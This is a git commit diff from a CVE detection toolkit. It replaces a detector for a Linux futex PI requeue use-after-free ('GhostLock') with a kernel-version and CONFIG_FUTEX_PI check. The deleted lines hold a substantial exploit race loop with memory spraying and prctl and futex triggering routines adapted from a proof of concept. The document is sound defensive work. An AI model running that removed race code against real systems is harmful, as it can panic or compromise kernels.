cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

commit a664caf4f3b8bfa838251a831f2134a554183cbb
parent 05c85a55ff4377a3e2506e84417b4b8766ec05bc
Author: finwo <finwo@pm.me>
Date:   Thu,  9 Jul 2026 20:57:34 +0200

More naive check instead of risking kernel panics during test

Diffstat:
Msrc/detector/cve-2026-43499.c | 488++++++++++++-------------------------------------------------------------------
1 file changed, 71 insertions(+), 417 deletions(-)

diff --git a/src/detector/cve-2026-43499.c b/src/detector/cve-2026-43499.c @@ -6,459 +6,113 @@ * stack UAF by racing FUTEX_WAIT_REQUEUE_PI against FUTEX_CMP_REQUEUE_PI * when a PI-chain deadlock is present. * - * This detector runs the race-and-exploit loop in a subprocess with a - * strict timeout. If the UAF is triggered, the subprocess crashes - * (SIGSEGV/SIGBUS). A clean exit means the kernel is not vulnerable. + * WARNING — the actual race inherently corrupts kernel PI state on a + * vulnerable system, which has a high risk to cause a kernel panic. + * This detector therefore does NOT attempt the live exploit. Instead it + * checks the two known mitigations: * - * All memory is allocated via memfd + mmap — no files are written to - * disk, and no system state is modified after the test completes. + * 1. Kernel version >= 7.1 + * 2. CONFIG_FUTEX_PI=n (probed via FUTEX_LOCK_PI returning -ENOSYS) + * + * If *both* checks indicate a vulnerable configuration the detector + * reports fail. It *may* report false positives if a backported fix is used. */ #define _GNU_SOURCE #include <errno.h> -#include <fcntl.h> #include <linux/futex.h> -#include <poll.h> -#include <pthread.h> -#include <signal.h> #include <stdint.h> #include <stdio.h> -#include <stdlib.h> #include <string.h> -#include <sys/mman.h> #include <sys/syscall.h> -#include <sys/time.h> -#include <sys/wait.h> -#include <time.h> +#include <sys/utsname.h> #include <unistd.h> #include "setup.h" -/* ---- constants tuned from the original PoC ---- */ -#define CHILDREN 8 /* matches the original PoC */ -#define ROUNDS 80 /* stamp iterations after a successful race */ -#define SHMEM_LEN (1024 * 1024) -#define PR_SET_MM 35 -#define PR_SET_MM_MAP 14 -#define SHMEM_BASE 0xdead10000ULL -#define TIMEOUT_SEC 15 /* total timeout for the child process */ - -/* ---- futex helpers (direct syscalls, no glibc wrappers) ---- */ -static void futex_lock_pi(uint32_t *uaddr) { - syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0); -} - -static void futex_unlock_pi(uint32_t *uaddr) { - syscall(SYS_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0); -} - -static void futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2, - const struct timespec *ts) { - syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts, uaddr2, 0); -} - -static void futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) { - syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0); -} - -static void futex_wake(volatile int *uaddr) { - syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0); -} - -static void wait_for(volatile int *uaddr, int old) { - while (*uaddr == old) - syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, old, 0, 0, 0); -} - -/* ---- per-child shared state ---- */ -struct ghostlock_state { - uint32_t f_wait; /* non-PI futex, initial wait target */ - uint32_t f_pi_target; /* PI futex, requeue target */ - uint32_t f_pi_chain; /* PI futex, chain lock */ - - volatile int a_ready; /* waiter thread has locked f_pi_chain */ - volatile int a_tid; /* waiter thread tid */ - volatile int a_waiting; /* waiter thread is inside futex_wait_requeue_pi */ - volatile int b_started; /* owner thread has locked f_pi_target */ - volatile int consume; /* signal for consumer thread */ - volatile int stamp_ready; /* signal from stamp_one */ - volatile int scheduled; /* consumer has set scheduler */ - volatile int deadlock_seen; /* race won indicator */ - - int lane; /* child index (0 gets PR_SET_MM) */ - int done_fd; /* write-end of status pipe */ - - /* shared memory for auxv / page-cache spray */ - int shmem_fd; - unsigned char *shmem_map; - size_t page_size; +/* ---- kernel version helpers ---- */ +struct kernel_version { + unsigned int major; + unsigned int minor; + unsigned int patch; }; -/* ---- stamp helpers (trigger the UAF after a successful race) ---- */ -static void fill_buf(uint64_t *buf) { - for (int i = 0; i < 64; i++) - buf[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8; -} - -static void shmem_fill(struct ghostlock_state *gs) { - uint64_t *page = (uint64_t *)gs->shmem_map; - size_t npage = gs->page_size / sizeof(uint64_t); - for (size_t i = 0; i < npage; i++) - page[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8; - uint64_t *auxv = (uint64_t *)(gs->shmem_map + gs->page_size - 29 * sizeof(uint64_t)); - for (int i = 0; i < 64; i++) - auxv[i] = 0xdeadbee11c518f58ULL + (uint64_t)i * 8; -} - -struct prctl_mm_map { - uint64_t start_code; - uint64_t end_code; - uint64_t start_data; - uint64_t end_data; - uint64_t start_brk; - uint64_t brk; - uint64_t start_stack; - uint64_t arg_start; - uint64_t arg_end; - uint64_t env_start; - uint64_t env_end; - uint64_t *auxv; - uint32_t auxv_size; - uint32_t exe_fd; -}; - -static volatile int g_punch_go; -static volatile int g_punch_done; -static int g_shmem_fd_global; - -static void *puncher_thread(void *arg) { - (void)arg; - wait_for(&g_punch_go, 0); - while (!g_punch_done) { - syscall(SYS_fallocate, g_shmem_fd_global, 0, 4096, SHMEM_LEN - 4096); - syscall(SYS_fallocate, g_shmem_fd_global, 3, 4096, SHMEM_LEN - 4096); - } - return NULL; -} - -static void stamp_prctl(struct ghostlock_state *gs, uint64_t *buf) { - struct prctl_mm_map mm_map = { - .start_code = (uint64_t)stamp_prctl, - .end_code = (uint64_t)stamp_prctl + 0x1000, - .start_data = (uint64_t)&gs->shmem_fd & ~0xfffULL, - .end_data = ((uint64_t)&gs->shmem_fd & ~0xfffULL) + 0x1000, - .start_brk = (uint64_t)sbrk(0), - .brk = (uint64_t)sbrk(0), - .start_stack = (uint64_t)buf, - .arg_start = (uint64_t)buf, - .arg_end = (uint64_t)buf, - .env_start = (uint64_t)buf, - .env_end = (uint64_t)buf, - .auxv = (uint64_t *)(gs->shmem_map + gs->page_size - 29 * sizeof(uint64_t)), - .auxv_size = 48 * sizeof(uint64_t), - .exe_fd = -1, - }; - shmem_fill(gs); - g_punch_go = 1; - futex_wake(&g_punch_go); - usleep(4000); - gs->stamp_ready = 1; - futex_wake(&gs->stamp_ready); - syscall(SYS_sched_yield); - for (int i = 0; i < 100; i++) - syscall(SYS_prctl, PR_SET_MM, PR_SET_MM_MAP, &mm_map, sizeof(mm_map), 0); -} - -static void stamp_futex(struct ghostlock_state *gs, uint64_t *buf) { - (void)gs; - (void)buf; - struct timespec ts = {}; - uint32_t a = 0, b = 0; - futex_lock_pi(&a); - futex_unlock_pi(&a); - futex_wait_requeue_pi(&a, &b, &ts); - futex_cmp_requeue_pi(&a, &b); -} - -/* dispatch table matching the original PoC */ -static void (*const stamps[])(struct ghostlock_state *, uint64_t *) = { - stamp_prctl, - stamp_futex, -}; - -static void stamp_one(struct ghostlock_state *gs, uint64_t *buf, int id) { - fill_buf(buf); - stamps[id](gs, buf); -} - -static void stamp_loop(struct ghostlock_state *gs) { - uint64_t buf[64]; - stamp_one(gs, buf, gs->lane == 0 ? 0 : 1); - gs->stamp_ready = 1; - futex_wake(&gs->stamp_ready); - for (int i = 0; i < ROUNDS; i++) - stamp_one(gs, buf, gs->lane == 0 ? 0 : 1); +static int parse_version(const char *r, struct kernel_version *kv) { + memset(kv, 0, sizeof(*kv)); + if (sscanf(r, "%u.%u.%u", &kv->major, &kv->minor, &kv->patch) < 2) + return -1; + return 0; } -/* ---- thread entry points ---- */ -static void *owner_thread(void *arg) { - struct ghostlock_state *gs = (struct ghostlock_state *)arg; - futex_lock_pi(&gs->f_pi_target); - while (!gs->a_ready); - gs->b_started = 1; - futex_lock_pi(&gs->f_pi_chain); - /* deadlock — never releases */ - for (;;) pause(); - return NULL; +static int version_ge(const struct kernel_version *kv, + unsigned int major, unsigned int minor, unsigned int patch) { + if (kv->major > major) return 1; + if (kv->major < major) return 0; + if (kv->minor > minor) return 1; + if (kv->minor < minor) return 0; + return kv->patch >= patch; } -static void *consumer_thread(void *arg) { - struct ghostlock_state *gs = (struct ghostlock_state *)arg; - int tid; - while (!(tid = gs->a_tid)); - wait_for(&gs->consume, 0); - wait_for(&gs->stamp_ready, 0); - - struct sched_attr { - uint32_t size; - uint32_t policy; - uint64_t flags; - int32_t nice; - uint32_t priority; - uint64_t runtime; - uint64_t deadline; - uint64_t period; - uint32_t util_min; - uint32_t util_max; - } attr = { - .size = sizeof(attr), - .policy = 3, /* SCHED_BATCH */ - .nice = 19, - }; - syscall(SYS_sched_setattr, tid, &attr, 0); - gs->scheduled = 1; - futex_wake(&gs->scheduled); - for (;;) pause(); - return NULL; -} +/* ---- futex PI availability probe ---- */ +static int chk_futex_pi_available(void) { + uint32_t futex = 0; + long rc; -static void *waiter_thread(void *arg) { - struct ghostlock_state *gs = (struct ghostlock_state *)arg; - struct timespec ts; + /* Try FUTEX_LOCK_PI — on a CONFIG_FUTEX_PI=n kernel this returns + * -ENOSYS. We lock-then-unlock so the futex is left at 0. */ + rc = syscall(SYS_futex, &futex, FUTEX_LOCK_PI, 0, 0, 0, 0); + if (rc == -1 && (errno == ENOSYS || errno == EINVAL)) + return 0; /* CONFIG_FUTEX_PI is off — safe */ - gs->a_tid = syscall(SYS_gettid); - futex_lock_pi(&gs->f_pi_chain); - gs->a_ready = 1; - usleep(20000); + /* If we got the lock (rc == 0) or any other error, unlock to clean up. */ + if (rc == 0) + syscall(SYS_futex, &futex, FUTEX_UNLOCK_PI, 0, 0, 0, 0); - clock_gettime(CLOCK_MONOTONIC, &ts); - ts.tv_nsec += 50000000; /* 50 ms timeout */ - if (ts.tv_nsec >= 1000000000) { - ts.tv_sec++; - ts.tv_nsec -= 1000000000; - } - gs->a_waiting = 1; - futex_wait_requeue_pi(&gs->f_wait, &gs->f_pi_target, &ts); - wait_for(&gs->deadlock_seen, 0); - gs->consume = 1; - futex_wake(&gs->consume); - stamp_loop(gs); - wait_for(&gs->scheduled, 0); - write(gs->done_fd, "x", 1); - _exit(0); - return NULL; + return 1; /* futex PI is available → potentially vulnerable */ } -/* ---- per-child setup and race ---- */ -static void run_child(struct ghostlock_state *gs) { - pthread_t th; - pthread_attr_t attr; - - mlockall(MCL_CURRENT | MCL_FUTURE); - pthread_attr_init(&attr); - pthread_attr_setstacksize(&attr, 1024 * 1024); - - /* child 0 sets up the shared-memory PR_SET_MM spray area */ - if (gs->lane == 0) { - size_t ps = (size_t)sysconf(_SC_PAGESIZE); - gs->page_size = ps; - gs->shmem_fd = (int)syscall(SYS_memfd_create, "x", 0); - syscall(SYS_fallocate, gs->shmem_fd, 0, 0, SHMEM_LEN); - gs->shmem_map = (unsigned char *)mmap( - (void *)SHMEM_BASE, SHMEM_LEN, PROT_READ | PROT_WRITE, - MAP_SHARED | MAP_FIXED, gs->shmem_fd, 0); - if (gs->shmem_map == MAP_FAILED) - gs->shmem_map = NULL; - g_shmem_fd_global = gs->shmem_fd; - pthread_create(&th, NULL, puncher_thread, NULL); - } - - memset(&gs->f_wait, 0, sizeof(gs->f_wait)); - memset(&gs->f_pi_target, 0, sizeof(gs->f_pi_target)); - memset(&gs->f_pi_chain, 0, sizeof(gs->f_pi_chain)); - gs->a_ready = 0; - gs->a_tid = 0; - gs->a_waiting = 0; - gs->b_started = 0; - gs->consume = 0; - gs->stamp_ready = 0; - gs->scheduled = 0; - gs->deadlock_seen = 0; - g_punch_go = 0; - g_punch_done = 0; - - pthread_create(&th, &attr, owner_thread, gs); - pthread_create(&th, &attr, consumer_thread, gs); - pthread_create(&th, &attr, waiter_thread, gs); - - while (!gs->a_waiting || !gs->b_started); - usleep(20000); - - /* Tell the parent we are past the setup phase */ - write(gs->done_fd, "r", 1); - - /* Race: requeue the waiter into the deadlock */ - futex_cmp_requeue_pi(&gs->f_wait, &gs->f_pi_target); - gs->deadlock_seen = 1; - futex_wake(&gs->deadlock_seen); - - /* Stay alive until the waiter has stamped */ - for (;;) pause(); -} - -/* ---- top-level detector ---- */ +/* ---- detector ---- */ int detector_cve_2026_43499(struct cve_context *ctx) { - int status; - pid_t child; - int pipefd[2]; - char buf[1]; - - if (pipe2(pipefd, 0) < 0) - return 0; + struct kernel_version kv; + struct utsname uts; + int pi_on; - child = fork(); - if (child < 0) { - close(pipefd[0]); - close(pipefd[1]); + if (uname(&uts) < 0) { + /* Can't determine kernel version — assume safe */ return 0; } - if (child == 0) { - /* ---- child: run the exploit ---- */ - close(pipefd[0]); - - /* Die cleanly after TIMEOUT_SEC seconds */ - alarm(TIMEOUT_SEC); - - /* - * Fork CHILDREN sub-processes, each running the race. - * We replicate the original PoC structure: run() forks - * children sequentially, each runs run_child(). - */ - for (int i = 0; i < CHILDREN; i++) { - int cp[2]; - struct ghostlock_state gs; - - if (pipe2(cp, 0) < 0) - _exit(2); - - pid_t kid = fork(); - if (kid < 0) { - close(cp[0]); - close(cp[1]); - _exit(2); - } - - if (kid == 0) { - /* grandchild */ - close(cp[0]); - memset(&gs, 0, sizeof(gs)); - gs.lane = i; - gs.done_fd = cp[1]; - run_child(&gs); - _exit(0); - } - - close(cp[1]); - - /* Wait for "r" (ready) from grandchild */ - { - struct pollfd pfd; - pfd.fd = cp[0]; - pfd.events = POLLIN; - int rc = poll(&pfd, 1, 5000); - if (rc <= 0) { - /* timeout or error — kill and move on */ - kill(kid, SIGKILL); - close(cp[0]); - waitpid(kid, NULL, 0); - continue; - } - if (read(cp[0], buf, 1) != 1) { - kill(kid, SIGKILL); - close(cp[0]); - waitpid(kid, NULL, 0); - continue; - } - } - - /* - * Wait for the second byte ("x" = stamp done, or timeout). - * Use a select-like timeout so we don't hang forever. - */ - { - struct pollfd pfd; - pfd.fd = cp[0]; - pfd.events = POLLIN; - int rc = poll(&pfd, 1, TIMEOUT_SEC * 1000 / CHILDREN); - if (rc > 0) - read(cp[0], buf, 1); - else - kill(kid, SIGKILL); - } - - close(cp[0]); - waitpid(kid, NULL, 0); - } - - /* All done — exit cleanly */ - _exit(0); + if (parse_version(uts.release, &kv) < 0) { + /* Can't parse version — assume safe */ + return 0; } - /* ---- parent: monitor child ---- */ - close(pipefd[1]); + if (ctx->verbose) + fprintf(stderr, "[cve-2026-43499] kernel %u.%u.%u\n", + kv.major, kv.minor, kv.patch); - /* - * Wait up to (TIMEOUT_SEC + 2) seconds for the child. - * If it was killed by a signal (SIGSEGV, SIGBUS, SIGILL), - * the UAF was triggered and the kernel is vulnerable. - */ - { - char buf; - struct pollfd pfd; - pfd.fd = pipefd[0]; - pfd.events = POLLIN; - int rc = poll(&pfd, 1, (TIMEOUT_SEC + 2) * 1000); - if (rc > 0) - read(pipefd[0], &buf, 1); - (void)buf; + /* Mitigation 1: kernel >= 7.1 */ + if (version_ge(&kv, 7, 1, 0)) { + if (ctx->verbose) + fprintf(stderr, "[cve-2026-43499] kernel >= 7.1 — not vulnerable\n"); + return 0; } - close(pipefd[0]); - /* reap child */ - kill(child, SIGKILL); - waitpid(child, &status, 0); - - if (WIFSIGNALED(status)) { - /* Child crashed — vulnerability triggered */ + /* Mitigation 2: CONFIG_FUTEX_PI=n */ + pi_on = chk_futex_pi_available(); + if (!pi_on) { if (ctx->verbose) - fprintf(stderr, "[cve-2026-43499] vulnerable: child killed by signal %d\n", - WTERMSIG(status)); - return 1; + fprintf(stderr, "[cve-2026-43499] CONFIG_FUTEX_PI=n — not vulnerable\n"); + return 0; } - /* Child exited or timed out — likely patched */ - return 0; + /* Both mitigations are absent — system is likely vulnerable */ + if (ctx->verbose) + fprintf(stderr, + "[cve-2026-43499] kernel < 7.1 and CONFIG_FUTEX_PI=y — " + "vulnerable to GhostLock\n"); + + return 1; } /* ---- constructor ---- */ @@ -467,7 +121,7 @@ void detector_cve_2026_43499_setup(void) { detector_queue_append( "CVE-2026-43499", "GhostLock", "Update the Linux kernel to >= 7.1 or apply CONFIG_FUTEX_PI=n.\n" - " The fix was backported to stable trees; check for commits\n" - " addressing the futex PI requeue deadlock race.", + " This *may* be a false positive, testing has a high chance of causing kernel panics,\n" + " which the author has opted for not to risk.", detector_cve_2026_43499); }